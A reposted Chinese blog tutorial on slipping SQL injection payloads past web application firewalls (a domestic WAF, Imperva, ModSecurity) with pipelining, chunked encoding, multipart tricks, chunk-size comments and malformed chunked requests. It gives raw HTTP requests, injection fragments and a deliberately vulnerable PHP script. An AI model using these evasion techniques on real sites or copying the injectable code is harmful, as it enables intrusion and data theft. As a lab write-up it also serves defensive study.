Burpsuit分块传输插件绕WAF原理和技巧(转)
0x00 原理
给服务器发送payload数据包,使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容。如图一所示
0x02 实验环境
本机win10+xampp+某狗web应用防火墙最新版。为方便演示,存在sql注入的脚本中使用$_REQUEST["id"]来接收get,或者post提交的数据。waf配置为拦截url和post的and or 注入,如图所示:
发送get请求或利用hackbar插件发送post请求payload均被拦截,如图所示:
0x03 绕过WAF方法
一· 利用pipline绕过[该方法经测试会被某狗拦截]
原理:
http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。
1. 关闭burp的Repeater的Content-Length自动更新,如图四所示,点击红圈的Repeater在下拉选项中取消update Content-Length选中。这一步至关重要!!!
2. burp截获post提交
id= and =
,显示被waf拦截如图五所示。
3. 复制图五中的数据包黏贴到
id= and =
后面如图六所示。
4. 接着修改第一个数据包的数据部分,即将
id=+and+%3D1
修改为正常内容id=1,再将数据包的Content-Length的值设置为修改后的【id=1】的字符长度即4,最后将Connection字段值设为keep-alive。提交后如图七所示,会返回两个响应包,分别对应两个请求。
注意:从结果看,第一个正常数据包返回了正确内容,第二个包含有效载荷的数据包被某狗waf拦截,说明两数据包都能到达服务器,在面对其他waf时有可能可以绕过。无论如何这仍是一种可学习了解的绕过方法,且可以和接下来的方法进行组合使用绕过。
二.利用分块编码传输绕过[该方法可绕某狗]

id= and =
id= and =

三.利用协议未覆盖进行绕过[同样会被某狗拦截]
原理:
HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。
1.将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。
由于是正常数据提交,所以从图十可知数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。
2.一般绕waf往往需要多种方式结合使用,如图十的示例中,只需将数据部分1 and 1=1用一个小数点”.”当作连接符即1.and 1=1就可以起到绕过作用。当然,这只是用小数点当连接符所起的作用而已。如图十一所示。
四.分块编码+协议未覆盖组合绕过

长度值 空行 Content-Disposition: name="id" 空行
长度值 空行 数据
长度值 空行 分割结束符 空行
空行 空行
0x04 绕过WAF技巧
一、技巧1:使用注释扰乱分块数据包
一些如Imperva,360等比较好的WAF已经对传输编码的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。
我们可以在[RFC7230]中查看到有关分块传输的定义规范。
Chunked Transfer Coding: The chunked transfer coding wraps the payload body
in order to
transfer it as a series of chunks, each with its own size indicator,
followed by an OPTIONAL trailer containing header fields. Chunked
enables content streams of unknown size to be transferred as a
sequence of length-delimited buffers, which enables the sender to
retain connection persistence and the recipient to know when it has
received the entire message. chunked-body = *chunk
last-chunk
trailer-part
CRLF chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
chunk-size = *HEXDIG
last-chunk = *("") [ chunk-ext ] CRLF chunk-data = *OCTET ; a sequence of chunk-size octets The chunk-size field is a string of hex digits indicating the size of
the chunk-data in octets. The chunked transfer coding is complete
when a chunk with a chunk-size of zero is received, possibly followed
by a trailer, andfinally terminated by an empty line. A recipient MUST be able to parse and decode the chunked transfer
coding. Chunk Extensions: The chunked encoding allows each chunk to include zero or more chunk
extensions, immediately following the chunk-size, for the sake of
supplying per-chunk metadata (such as a signature or hash),
mid-message control information, or randomization of message body
size. chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) chunk-ext-name = token
chunk-ext-val = token / quoted-string The chunked encoding is specific to each connection andis likely to
be removed or recoded by each recipient (including intermediaries)
before any higher-level application would have a chance to inspect
the extensions. Hence, use of chunk extensions is generally limited
通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如:
;kkkkk = ;ooo= (两个换行)
几乎所有可以识别传输编码数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。
现在我们在使用了Imperva的应用防火墙的网站测试常规的分块传输数据包:
POST /xxxxxx.jsp HTTP/1.1 ...... Transfer-Encoding: Chunked xxxxxxxxx xx=xxxxxx xxxxxxxxx d &a= and = (两个换行)
返回的结果如下图所示。
可以看到我们的攻击有效载荷“和2 = 2”被Imperva的WAF拦截了。
这时我们将分块传输数据包加入注释符。
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked xxxxxxxxx xx=xxxxxx xxxxxxxxx
;testsdasdsad
d
;test
&a= and
;test44444
= (两个换行)
返回的结果如下图所示。
可以看到Imperva的已经不拦截这个负荷了。
二、技巧2:绕过ModSecurity
众所周知的ModSecurity是加载在中间件上的插件,所以不需要理会解析HTTP数据包的问题,因为中间件已经帮它处理完了,那么无论使用常规的分块还是加了注释的分块数据包,ModSecurity的都能直接获取到完整的HTTP数据包然后匹配危险关键字,所以一些基于ModSecurity的做的WAF产品难道就不受影响吗?
接下来我们在apache+ ModSecurity的环境做测试。
sql.php代码如下:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
echo $row['name'] . " " . $row['password']."n";
}
mysql_close($con);
print"========GET==========n";
print_r($_GET);
print"========POST==========n";
print_r($_POST);
?><ahref="sqli.php?id=1"> sdfsdf </a>
ModSecurity的加载的规则拦截了请求包中的关键字“联盟”。
下面我们的请求和返回结果如下:
请求: http://10.10.10.10/sql.php?id=2%20union 返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title> Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
<address>Apache/2.2. (CentOS) Server at 10.10.10.10 Port </address>
</body></html>
可以看到我们的“联盟”关键字被拦截了。
接下来我们传输一个畸形的分块数据包看看。
请求: POST /sql.php?id=2%20union HTTP/1.1 ...... Transfer-Encoding: chunked 1 aa 0 (两个换行) 返回:
<title> Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2. (CentOS) Server at 10.10.10.10 Port </address>
</body></html>
========GET==========
Array
(
[id] => union
)
========POST==========
Array
(
)
可以看到虽然apache的报错了,但是因为apache的容错很强,所以我们提交的参数依然传到了PHP中,而我们的ModSecurity的并没有处理400错误的数据包,最终绕过了ModSecurity的。
接下来我们把的ModSecurity的规则改为过滤返回数据中包含的“根”的字符串,然后在sql.php脚本中加入打印“根”关键字的代码。
接着我们做如下测试:
请求: http:
//10.10.10.10/sql.php?id=1 返回:
<html><head>
<title> Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2. (CentOS) Server at 10.10.10.10 Port </address>
</body></html>
因为sql.php脚本中返回了带有“根”的关键字,所以直接就被ModSecurity的拦截了。这时我们改为发送畸形的分块数据包。
请求: POST /sql.php?id=
HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: (两个换行)
返回:
<html><head>
<title> Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2. (CentOS) Server at 10.10.10.10 Port </address>
</body></html>
root
========GET==========
Array
(
[id] =>
)
========POST==========
Array
(
)
通过两个测试可以发现使用畸形的分块数据包可以直接绕过的ModSecurity的检测。这个问题我们在2017年4月已提交给了ModSecurity官方,但是因为种种问题目前依然未修复。
0x05 总结
0x06 参考文献
Burpsuit分块传输插件绕WAF原理和技巧(转)的更多相关文章
- 利用分块传输绕WAF
分块传输原理介绍 背景 HTTP Connection有两种连接方式:短连接和长连接: 短连接即一次请求对应一次TCP连接的建立和销毁过程. 长连接是多个请求共用同一个连接这样可以节省大量连接建立时间 ...
- [转载]利用分块传输绕过WAF进行SQL注入
原理 客户端给服务器发送数据的时候,如果我们利用协议去制作payload,就可以绕过http协议的waf,实现SQL注入 分块传输编码(Chunked transfer encoding)是HTTP中 ...
- 绕WAF常见思路整理(一)
最*被*台的一些事情搞得心态有点崩,很久没写文了 *期想整理一下常见的各种操作中绕过WAF的思路与免杀的思路(这部分之前没整理完以后有机会再说),受限于个人水*因素所以一定是不完全的,而且在WAF日新 ...
- 绕WAF文章收集
在看了bypassword的<在HTTP协议层面绕过WAF>之后,想起了之前做过的一些研究,所以写个简单的短文来补充一下文章里“分块传输”部分没提到的两个技巧. 技巧1 使用注释扰乱分块数 ...
- 利用分块传输吊打所有WAF--学习笔记
在看了bypassword的<在HTTP协议层面绕过WAF>之后,想起了之前做过的一些研究,所以写个简单的短文来补充一下文章里“分块传输”部分没提到的两个技巧. 技巧1 使用注释扰乱分块数 ...
- HTTP 笔记与总结(9)分块传输、持久链接 与 反向 ajax(comet / server push / 服务器推技术)
反向 ajax 又叫 comet / server push / 服务器推技术 应用范围:网页聊天服务器,例如新浪微博在线聊天.google mail 网页聊天 原理:一般而言,HTTP 协议的特点是 ...
- HTTP协议之分块传输与分段编码
目录 数据的分块传输 数据的分段编码(transfer-encoding) 前置知识:HTTP协议 数据的分块传输 我们都知道http协议是由TCP协议封装而来的应用层协议.我们和服务器之间的每次ht ...
- HTTP分块传输
HTTP分块传输 用途 对于在发送HTTP头部前,无法计算出Content-Length的HTTP请求及回复(例如WEB服务端产生的动态内容),可以使用分块传输,使得不至于等待所有数据产生后,再发送带 ...
- 小白也能看懂插件化DroidPlugin原理(一)-- 动态代理
前言:插件化在Android开发中的优点不言而喻,也有很多文章介绍插件化的优势,所以在此不再赘述.前一阵子在项目中用到 DroidPlugin 插件框架 ,近期准备投入生产环境时出现了一些小问题,所以 ...
随机推荐
- 在 R 中估计 GARCH 参数存在的问题
目录 在 R 中估计 GARCH 参数存在的问题 GARCH 模型基础 估计 GARCH 参数 fGarch 参数估计的行为 结论 译后记 在 R 中估计 GARCH 参数存在的问题 本文翻译自< ...
- 20155217《网络对抗》Exp08 Web基础
20155217<网络对抗>Exp08 Web基础 实践内容 Web前端:HTML基础 Web前端:javascipt基础 Web后端:MySQL基础 Web后端:PHP基础 SQL注入 ...
- 20155328 网络攻防 实验五:MSF基础应用
20155328 网络攻防 实验五:MSF基础应用 实践内容及过程记录 一.Windows服务渗透攻击----ms08_067 攻击机:kali 靶机:WindowsXP(英文版) 第一步,分别查看攻 ...
- C语言学习之枚举类型
前言 枚举(enum)类型是计算机编程语言中的一种数据类型.枚举类型:在实际问题中,有些变量的取值被限定在一个有限的范围内.例如,一个星期内只有七天,一年只有十二个月,一个班每周有六门课程等等.如果把 ...
- springboot项目生成jar包(带静态资源)方法
[Maven]在pom.xml文件中使用resources插件的小作用 不过war包比较实用,毕竟独立的tomcat比较好控制
- jvm系列(九):Java GC 分析
Java GC就是JVM记录仪,书画了JVM各个分区的表演. 什么是 Java GC Java GC(Garbage Collection,垃圾收集,垃圾回收)机制,是Java与C++/C的主要区别之 ...
- 【ORACLE】数据库空闲1分钟自动断开
-- 开启参数,创建概要文件 SQL> show parameter resource_limit; NAME TYPE ...
- SQL调优日志--内存问题排查入门篇
概述 很多系统的性能问题,是由内存导致的.内存不够会导致页面频繁换入换出,IO队列高,进而影响数据库整体性能. 排查 内存对数据库性能非常重要.那么我当出现问题的时候,我们怎么排查性能问题呢? 存在问 ...
- Java英文单词Java基础常见英语词汇
Java英文单词Java基础常见英语词汇(共70个) ...
- 如何有效的报告bug?
对于比较棘手的bug,反馈务须清晰.详细.精确,我们给出以下6个建议: 1.现场演示:重复bug出现的操作步骤.这个适用于公司内部人员. 2.详细描述:在什么系统使用哪个版本的YoMail,做了什 ...